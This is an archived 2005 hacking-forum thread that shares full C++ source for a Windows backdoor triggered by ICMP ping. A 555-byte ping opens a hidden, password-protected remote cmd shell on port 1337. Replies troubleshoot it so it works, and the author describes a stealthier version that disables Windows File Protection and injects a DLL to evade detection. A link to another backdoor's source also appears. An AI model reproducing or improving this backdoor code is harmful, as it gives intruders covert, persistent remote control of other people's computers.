Articles
|
|
Killaloop
Jun 18 2005, 07:19 PM
well I have not seen working code for a ping backdoor for winxp. here is some code that decodes icmp echo requests and opens a shell. backdoor will listen on port 1337 for connections. to activate it use ping <host> -l 555 -n 1 only send one packet else you will activate the backdoor with every request you send. use the e command to close the shell. its single threaded and just an example that shows how easy it is, not ment for skiddies so just the basic stuff that is not really useful for them  look source code for the password pingbd.cpp CODE #include <winsock2.h> #include <stdio.h> #include <stdlib.h> #include <ws2tcpip.h> #include "stdafx.h"
#pragma comment(lib, "ws2_32.lib")
#define ICMP_MIN 8 // minimum 8 byte icmp packet (just header)
#define STATUS_FAILED 0xFFFF #define DEF_PACKET_SIZE 32 #define MAX_PACKET 1024
#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s)) #define xfree(p) HeapFree (GetProcessHeap(),0,(p))
void fill_icmp_data(char * icmp_data, int datasize);
void decode_resp(char *,int ,struct sockaddr_in *);
USHORT checksum(USHORT *buffer, int size) {
unsigned long cksum=0;
while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; }
cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); }
void StartShell() { WSADATA wsd; SOCKET s1,s2; struct sockaddr_in sockadd; int len=sizeof(sockadd); STARTUPINFO SI; PROCESS_INFORMATION PI;
sockadd.sin_family=AF_INET; sockadd.sin_port=htons(1337); sockadd.sin_addr.s_addr=htonl(INADDR_ANY); WSAStartup(MAKEWORD(2,2),&wsd); s1=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0); bind(s1,(struct sockaddr *)&sockadd,len); listen(s1,5); int exit = 0; while(exit == 0) { int shell = 0; s2=accept(s1,(struct sockaddr *)&sockadd,&len); send(s2,"Enter password:",16,0); ZeroMemory(&SI,sizeof(SI)); ZeroMemory(&PI,sizeof(PI)); SI.cb = sizeof(SI); SI.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; SI.wShowWindow = SW_HIDE; char* buffer; buffer = new char [1028]; char pass[10]; strcpy(pass, "gettingyou");
int bytes; bytes = recv(s2, buffer, 1027,0); buffer[bytes] = '\0';
if(!strcmp(buffer, pass)) { char *cmd = new char[255]; send(s2, "You'r welcome!\r\n", 16, 0); send(s2, "List of commands:\r\n",19,0); send(s2, "'?' This list\r\n",15,0); send(s2, "'s' for cmd shell(enter exit to return)\r\n",41,0); send(s2, "'e' to Exit\r\n",13,0); send(s2, "<CMD:",5,0); while (shell == 0) { recv(s2,cmd,1,0); if(cmd[0] == '?') { send(s2, "List of commands:\r\n",19,0); send(s2, "'?' This list\r\n",15,0); send(s2, "'s' for cmd shell(enter exit to return)\r\n",41,0); send(s2, "'e' to Exit\r\n",13,0); send(s2, "<CMD:",5,0); } if(cmd[0] == 's') { SI.hStdError=(HANDLE)s2; SI.hStdInput=(HANDLE)s2; SI.hStdOutput=(HANDLE)s2; CreateProcess(NULL,"cmd",NULL,NULL,1,0,NULL,NULL,&SI,&PI); WaitForSingleObject(PI.hProcess,INFINITE); //closesocket(s2); //shell = 1; //we had a shell lets return send(s2, "List of commands:\r\n",19,0); send(s2, "'?' This list\r\n",15,0); send(s2, "'s' for cmd shell(enter exit to return)\r\n",41,0); send(s2, "'e' to Exit\r\n",13,0); send(s2, "<CMD:",5,0); }
if(cmd[0] == 'e') { send(s2, "Closing connection...bye",25,0); closesocket(s2); closesocket(s1); shell = 1; exit = 1; }
} } } } int main(int argc, char **argv){
WSADATA wsaData; SOCKET sockRaw; struct sockaddr_in dest,from; struct hostent * hp; int bread,datasize; int fromlen = sizeof(from); int timeout = 1000; char *dest_ip; char *icmp_data; char *recvbuf; unsigned int addr=0; USHORT seq_no = 0;
if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){ fprintf(stderr,"WSAStartup failed: %d\n",GetLastError()); ExitProcess(STATUS_FAILED); }
sockRaw = WSASocket (AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,0); if (sockRaw == INVALID_SOCKET) { fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError()); ExitProcess(STATUS_FAILED); } bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout, sizeof(timeout)); if(bread == SOCKET_ERROR) { fprintf(stderr,"failed to set recv timeout: %d\n",WSAGetLastError()); ExitProcess(STATUS_FAILED); }
timeout = 1000; bread = setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout, sizeof(timeout));
if(bread == SOCKET_ERROR) { fprintf(stderr,"failed to set send timeout: %d\n",WSAGetLastError()); ExitProcess(STATUS_FAILED); }
memset(&dest,0,sizeof(dest));
hp = gethostbyname("localhost");
if (!hp){ addr = inet_addr("127.0.0.1"); } if ((!hp) && (addr == INADDR_NONE) ) { fprintf(stderr,"Unable to resolve localhost\n"); ExitProcess(STATUS_FAILED); }
if (hp != NULL) memcpy(&(dest.sin_addr),hp->h_addr,hp->h_length); else dest.sin_addr.s_addr = addr;
if (hp) dest.sin_family = hp->h_addrtype; else dest.sin_family = AF_INET;
dest_ip = inet_ntoa(dest.sin_addr);
datasize = DEF_PACKET_SIZE; datasize += sizeof(IcmpHeader); datasize += sizeof(IcmpEchoHeader); icmp_data = (char*)xmalloc(MAX_PACKET); recvbuf = (char*) xmalloc(MAX_PACKET);
if (!icmp_data) { fprintf(stderr,"HeapAlloc failed %d\n",GetLastError()); ExitProcess(STATUS_FAILED); }
memset(icmp_data,0,MAX_PACKET); fill_icmp_data(icmp_data,datasize);
IcmpEchoHeader *icmpechohdr; icmpechohdr = (IcmpEchoHeader*)(icmp_data + sizeof(IcmpHeader));
while(1) { int bwrote; ((IcmpHeader*)icmp_data)->i_cksum = 0; icmpechohdr->timestamp = GetTickCount();
icmpechohdr->i_seq = seq_no++; ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);
bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest, sizeof(dest)); if (bwrote == SOCKET_ERROR){ if (WSAGetLastError() == WSAETIMEDOUT) { printf("timed out\n"); continue; } fprintf(stderr,"sendto failed: %d\n",WSAGetLastError()); ExitProcess(STATUS_FAILED); } if (bwrote < datasize ) { fprintf(stdout,"Wrote %d bytes\n",bwrote); } bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from, &fromlen); if (bread == SOCKET_ERROR){ if (WSAGetLastError() == WSAETIMEDOUT) { printf("timed out\n"); continue; } fprintf(stderr,"recvfrom failed: %d\n",WSAGetLastError()); ExitProcess(STATUS_FAILED); } decode_resp(recvbuf,bread,&from); Sleep(1000);
} return 0;
}
void Show_ICMP_Packet(char *buf, int bytes){ IpHeader *iphdr; IcmpHeader *icmphdr; unsigned short iphdrlen;
iphdr = (IpHeader *)buf; iphdrlen = iphdr->h_len * 4;// number of 32-bit words *4 = bytes icmphdr = (IcmpHeader*)(buf + iphdrlen);
if (icmphdr->i_type ==0) {
int sizzz=iphdrlen+sizeof(IcmpHeader)+sizeof(IcmpEchoHeader)-sizeof(ULONG); for ( int i = sizzz; i < bytes-sizzz; i++ ) { // fprintf(stdout,"%c",buf[i]); } // fprintf(stdout,"\n"); if(i == 555) { printf("shell command recieved\n"); StartShell(); } } } /* The response is an IP packet. We must decode the IP header to locate the ICMP data */ void decode_resp(char *buf, int bytes,struct sockaddr_in *from) {
IpHeader *iphdr; IcmpHeader *icmphdr; IcmpEchoHeader *icmpehdr; unsigned short iphdrlen;
iphdr = (IpHeader *)buf;
Show_ICMP_Packet(buf,bytes);
iphdrlen = iphdr->h_len * 4;// number of 32-bit words *4 = bytes
if (bytes < iphdrlen + ICMP_MIN) { printf("Too few bytes from %s\n",inet_ntoa(from->sin_addr)); }
icmphdr = (IcmpHeader*)(buf + iphdrlen); icmpehdr = (IcmpEchoHeader*)(buf + iphdrlen+sizeof(IcmpHeader));
if (icmphdr->i_type != ICMP_Echo_Reply) { fprintf(stderr,"non-echo type %d recvd\n",icmphdr->i_type); return; } if (icmpehdr->i_id != (USHORT)GetCurrentProcessId()) { fprintf(stderr,"Got a packet!\n"); return; }
}
/* Helper function to fill in various stuff in our ICMP request. */ void fill_icmp_data(char * icmp_data, int datasize){
IcmpHeader *icmp_hdr; IcmpEchoHeader *icmp_ehdr; char *datapart;
icmp_hdr = (IcmpHeader*)icmp_data; icmp_ehdr = (IcmpEchoHeader*)(icmp_data+sizeof(IcmpHeader));
icmp_hdr->i_type = ICMP_Echo; icmp_hdr->i_code = 0; icmp_ehdr->i_id = (USHORT)GetCurrentProcessId(); icmp_hdr->i_cksum = 0; icmp_ehdr->i_seq = 0; datapart = icmp_data + sizeof(IcmpHeader)+sizeof(IcmpEchoHeader); // // Place some junk in the buffer. // memset(datapart,'E', datasize - sizeof(IcmpHeader));
}
stdafx.h CODE // // ICMP header // typedef struct icmphdr { BYTE i_type; BYTE i_code; /* type sub code */ USHORT i_cksum; }IcmpHeader;
typedef struct icmpechohdr { USHORT i_id; USHORT i_seq; //that follows the DATA counted in checksum!!!!!!!!!!!
/* This is not the std header, but we reserve space for time */ ULONG timestamp; }IcmpEchoHeader;
typedef struct icmptimsthdr { USHORT i_id; USHORT i_seq;
ULONG o_timestamp; //Originate Timestamp !!Sender write it!! ULONG r_timestamp; //Receive Timestamp !!Echoer write it!! ULONG t_timestamp; //Transmit Timestamp !!Echoer write it!! }IcmpTimestampHeader;
typedef struct iphdr { unsigned int h_len:4; // length of the header unsigned int version:4; // Version of IP unsigned char tos; // Type of service unsigned short total_len; // total length of the packet unsigned short ident; // unique identifier unsigned short frag_and_flags; // flags unsigned char ttl; unsigned char proto; // protocol (TCP, UDP etc) unsigned short checksum; // IP checksum
unsigned int sourceIP; unsigned int destIP;
}IpHeader;
#define ICMPHeaderLength sizeof(ICMPHeader)
// ICMP data size #define ICMP_DATA_SIZE 8
// ICMP Message unreachable #define ICMP_Unreachable 3 #define ICMP_Unreachable_SIZE 8
#define ICMP_Unreachable_NET 0 #define ICMP_Unreachable_HOST 1 #define ICMP_Unreachable_PROTOCOL 2 #define ICMP_Unreachable_PORT 3 #define ICMP_Unreachable_FRAGMENTATION 4 #define ICMP_Unreachable_SOURCE 5
// ICMP Time exceeded #define ICMP_Time 11
#define ICMP_Time_TRANSIT 0 #define ICMP_Time_FRAGMENT 1
// ICMP Parameter problem #define ICMP_Parameter 12
#define ICMP_Parameter_ERROR 0
// ICMP Source quench #define ICMP_Quench 4
// ICMP Redirect #define ICMP_Redirect 5
#define ICMP_Redirect_NETWORK 0 #define ICMP_Redirect_HOST 1 #define ICMP_Redirect_SERVICE_NETWORK 2 #define ICMP_Redirect_SERVICE_HOST 3
// ICMP Echo #define ICMP_Echo 8 #define ICMP_Echo_Reply 0
// ICMP Timestamp #define ICMP_Timestamp 13 #define ICMP_Timestamp_Reply 14
// ICMP Information request #define ICMP_Information 15 #define ICMP_Information_Reply 16
#define ICMP_Information_SIZE 8
//Max buf #define ICMP_BUF 100
// Minimum 8 byte #define ICMP_MIN 8
320X
Jun 18 2005, 11:46 PM
C:\Documents and Settings\Administrator>ping 127.0.0.1 -l 555 -n 1 Pinging 127.0.0.1 with 555 bytes of data: Reply from 127.0.0.1: bytes=555 time<1ms TTL=128 Ping statistics for 127.0.0.1: Packets: Sent = 1, Received = 1, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms ----------------------------------------------------------------- Response: shell command recieved C:\Documents and Settings\Administrator>nc -vv 127.0.0.1 1337 DNS fwd/rev mismatch: localhost != Cisco localhost [127.0.0.1] 1337 (?) open Enter password: 0123456789 ----> ´doesn´t get command shell, tested with a windows XP SP1 Anyway Nice Backdoor, Killaloop
Killaloop
Jun 19 2005, 12:15 AM
something went wrong with the password part edited the code to make it work. didn't like the numbers to some reason
extreme
Jun 19 2005, 04:56 AM
QUOTE(Killaloop @ Jun 19 2005, 12:15 AM) something went wrong with the password part edited the code to make it work. didn't like the numbers to some reason  A friend of mine, named hirosh , made one ping activated backdoor named Recub ... You will find his Win version source on the net.. And other guy from his group made a linux version too.. DOn't know if it wil help, but you may investigate..
Killaloop
Jun 19 2005, 09:29 AM
thanks extreme didnt find his code on the net when I searched for something like this a while back. anyhow now its too late for help  next thing we need for a good pingbackdoor is a ping client that doesnt ping with random bytes but sends the password. easy done
ninar12
Jun 19 2005, 03:43 PM
very nais code killallop injected listener like the hf backdoor was also nais but not so nais as an nonlistening bd some links to ping scource (win and linx): http://www.codeproject.com/internet/WinPing/WinPing_src.ziphttp://209.145.252.10/file/c/source/PING.ZIPhttp://ftp.arl.army.mil/pub/ping.shar
White Scorpion
Jun 19 2005, 10:48 PM
@KillaLoop > Nice code, but i don't like the idea of using such a backdoor since ping is used a lot on networks. If someone would ping a host which runs your backdoor then the backdoor will be started a lot of times without anyone knowing. The idea of sending a ICMP packet with the password and only opening the port if the password is correct sounds a lot better! Nonetheless still a nice idea and nicely written
Killaloop
Jun 20 2005, 02:04 AM
QUOTE(White Scorpion @ Jun 19 2005, 10:48 PM) @KillaLoop > Nice code, but i don't like the idea of using such a backdoor since ping is used a lot on networks. If someone would ping a host which runs your backdoor then the backdoor will be started a lot of times without anyone knowing. The idea of sending a ICMP packet with the password and only opening the port if the password is correct sounds a lot better! Nonetheless still a nice idea and nicely written  well in a normal case no user pings someone with 555bytes of data  and its very easy to send a ping with a password as data but I will let others code this if they need such a backdoor. the real thing should use the data part as password and as information for the backdoor, for example port and ip to reverse connect so you never got a listening port. not a problem to include this in the code I showed, since everything you would need is already there.
razeer
Jun 21 2005, 07:57 AM
QUOTE(extreme @ Jun 19 2005, 04:56 AM) QUOTE(Killaloop @ Jun 19 2005, 12:15 AM) something went wrong with the password part edited the code to make it work. didn't like the numbers to some reason  A friend of mine, named hirosh , made one ping activated backdoor named Recub ... You will find his Win version source on the net.. And other guy from his group made a linux version too.. DOn't know if it wil help, but you may investigate.. I successfuly used recob, nice backdoor features for that time. Special thxs to your friend. the backdoor can be found at hxxp://www.eos-india.net
sz0n
Jul 20 2005, 02:15 PM
pass is "gettingyou"? Cause i dont see shell after this pass neither after 0123456789 Anyway idea of this backdoor is very interesting
Killaloop
Jul 20 2005, 02:37 PM
yes pass is gettingyou as you can see by looking at the source. 2 possible reasons it did not work for you: you got something else running on port 1337 you did not use raw mode to connect to the port did you get the banner: Enter password: ?
sz0n
Jul 20 2005, 05:31 PM
As you adviced me i used a raw mode to connect (i use putty), and now i can login. But there is another problem now - when i type "s" it doesnt return me a shell, it react the same like i will type "?", letter "e" cause exit.
Killaloop
Jul 20 2005, 05:40 PM
QUOTE(sz0n @ Jul 20 2005, 05:31 PM) As you adviced me i used a raw mode to connect (i use putty), and now i can login. But there is another problem now - when i type "s" it doesnt return me a shell, it react the same like i will type "?", letter "e" cause exit. look at this code part CODE if(cmd[0] == 's') { SI.hStdError=(HANDLE)s2; SI.hStdInput=(HANDLE)s2; SI.hStdOutput=(HANDLE)s2;
CreateProcess(NULL,"cmd",NULL,NULL,1,0,NULL,NULL,&SI,&PI); WaitForSingleObject(PI.hProcess,INFINITE); //closesocket(s2); //shell = 1; //we had a shell lets return send(s2, "List of commands:\r\n",19,0); send(s2, "'?' This list\r\n",15,0); send(s2, "'s' for cmd shell(enter exit to return)\r\n",41,0); send(s2, "'e' to Exit\r\n",13,0); send(s2, "<CMD:",5,0); }
in your case CreateProcess fails and my code will think you just left the cmd shell. three possible reasons come to my mind: you are running out of memory you dont have rights for cmd.exe you dont have cmd.exe  well if you wonder about why I dont close the socket after you left the shell. the reason for this is my final version of this backdoor has many more commands than only a cmdshell. it lists open ports creates, starts and removes services lists and kills processes and other stuff. I coded it in a way that one is easily able to add new functions
riotz
Jul 20 2005, 10:30 PM
how can you make that code work on every interface and not only one ?
i tried to let it listen on INADDR_ANY but it doesnt work =/
help would be aprechiated
Killaloop
Jul 21 2005, 02:15 PM
inet_addr("0.0.0.0"); binds to any interface
pedropalmeiro
Jul 24 2005, 03:07 AM
ok, now i need some feedback... i tested your code (really nice by the way), modded, erased, re-wrote... etc... etc... etc... i even started a new project from scratch, with some sources i grabbed from the net ant tried to build a similar thing but with no success. i can send pings from the program, i can receive those replies, but when pinging form a VM or other machine on the network it just doesn't work i cannnot "see" the ping that are sent from another machine to the one running the app. it seems that my windowze just doesn't like this kind of stuff! i've tried it against xp sp0/1/2 en/pt and 2k3, tried pinging from linux and other OSes that i had hanging arround. also tried to bind() to 0.0.0.0 as suggested above but nothing happened. tried with firewall, w/o fw, with AV, w/o AV and i just ran out of ideas.... i'm not an expert on c++ but any help and/or feedback would be appreciated. ps: the backdoor works fine when used form localhost. it just dowsn't work when pinging form an ip != localhost tks in advance, palmeiro
net_runner
Jul 24 2005, 05:15 AM
thanks for sharing this code, it awesome the main concept , could you tell me where did you find the main idea? i wanna study it more to understand it, detect it, prevent it, use it... thanks
Killaloop
Jul 24 2005, 12:11 PM
well pedro, the answer to your problem is pretty simple. the systems you tried the backdoor on block udp packets. could be the firewall, the router or ipsec policies. one solution could be try to play around with ipv6, this could be outdated though, but when I last played around with it many cheap firewalls and crap ware did not block this protocol.
net_runner the main idea was to have a stealth backdoor. one that does not have a listening port and you dont see it. the final thing is a program that manipulates standard windows file by disabling wfp and injecting a new function into it that loads a dll. this dll then listens for udp packets and gives a shell back to the sender once the right password got send. you wont see a listening port local or remote. you wont see a running process. you wont see anything bad with an anti rootkit tool since we dont hook. and one would have a hard life finding out that he is backdoored.
riotz
Jul 24 2005, 01:42 PM
hmm well binding on 0.0.0.0 doesnt work for me here i'm getting a "sendto failed: 10049" error here are the parts i changed CODE memset(&dest,0,sizeof(dest)); //hp = gethostbyname("localhost");
//if (!hp){ addr = inet_addr("0.0.0.0"); //} /* if ((!hp) && (addr == INADDR_NONE) ) { fprintf(stderr,"Unable to resolve localhost\n"); ExitProcess(STATUS_FAILED); } */ //if (hp != NULL) //memcpy(&(dest.sin_addr),hp->h_addr,hp->h_length); //else dest.sin_addr.s_addr = addr; //if (hp) // dest.sin_family = hp->h_addrtype; //else dest.sin_family = AF_INET;
n.n.p
Aug 5 2005, 12:48 PM
I understand all the code when its on its own but as a whole im having some trouble grasping it. Why does the program send data first? I would have thought it would just sit there with a listen() or something and wait for a connection
Killaloop
Aug 6 2005, 01:40 PM
sorry a 0.0.0.0 does not work when using rawsockets just use localhost you need to bind to a specific device when working with rawsockets
n.n.p you need to send something to the raw socket else recvfrom would fail and. the socket needs to be alive to recv something
btw people are right it looks like its not working over internet tested it only within my small lan and it worked fine. however pinging over internet never gives me a icmphdr->i_type ==0 no clue why
DumpZ
Aug 18 2005, 01:38 PM
at first i didnt get a shell when i tried local, but when i replaced
if(!strcmp(buffer, pass,)) {
with
if(strncmp(buffer, pass, 10) == NULL) {
and then it did work
Killaloop
Aug 18 2005, 02:07 PM
QUOTE(DumpZ @ Aug 18 2005, 01:38 PM) at first i didnt get a shell when i tried local, but when i replaced if(!strcmp(buffer, pass,)) { with if(strncmp(buffer, pass, 10) == NULL) { and then it did work this is not a good idea strncmp compares n number of bytes. in your case 10 bytes say your pass is 123456789 and someone enters 1234567890385ngbgthghg he will get full access! dont do it my guess is you used telnet protocol to connect to the backdoor. telnet protocol sends one character each time, so we would only compare the first byte against our password, which will fail. use puttys raw mode or change the authentication to read X values until \n appears. this are the two possiblities you got, but DON'T change it to strncmp. the other possibility would be to change the recv to only read as much bytes as the password is long +1. BUT then a possible hacker knows how long your password is making bruteforcing easy! use the authentication way as it is because it is secure this way. if you really want to use strncmp then compare the input against "password\0" and not against "password"
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
|
|